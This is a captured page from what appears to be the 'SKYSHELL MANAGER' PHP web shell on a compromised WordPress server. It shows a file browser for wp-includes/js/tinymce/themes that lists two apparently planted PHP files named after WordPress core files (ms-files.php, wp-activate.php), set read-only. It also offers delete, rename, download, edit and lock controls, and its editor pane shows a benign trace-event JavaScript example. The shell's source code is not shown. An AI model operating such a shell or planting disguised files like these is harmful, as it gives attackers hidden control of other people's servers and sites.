📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: child.js
/* * Show `evt.child()` usage for more practical usage. `.child(fields)` * allows you to bind common fields to emited events. */ var fs = require("fs"); var EVT = new (require("../dist/trace-event")).Tracer(); EVT.pipe(process.stdout); function doSubTaskA(opts, cb) { var evt = EVT.child({ id: opts.id, name: "doSubTaskA" }); evt.begin(); setTimeout(function() { // ... evt.end(); cb(); }, Math.floor(Math.random() * 2000)); } function doSomething(opts, cb) { var evt = EVT.child({ id: opts.id, name: "doSomething" }); evt.begin(); setTimeout(function() { // ... doSubTaskA(opts, function() { evt.end(); cb(); }); }, Math.floor(Math.random() * 2000)); } for (var i = 0; i < 5; i++) { doSomething({ id: i }, function() {}); }
Save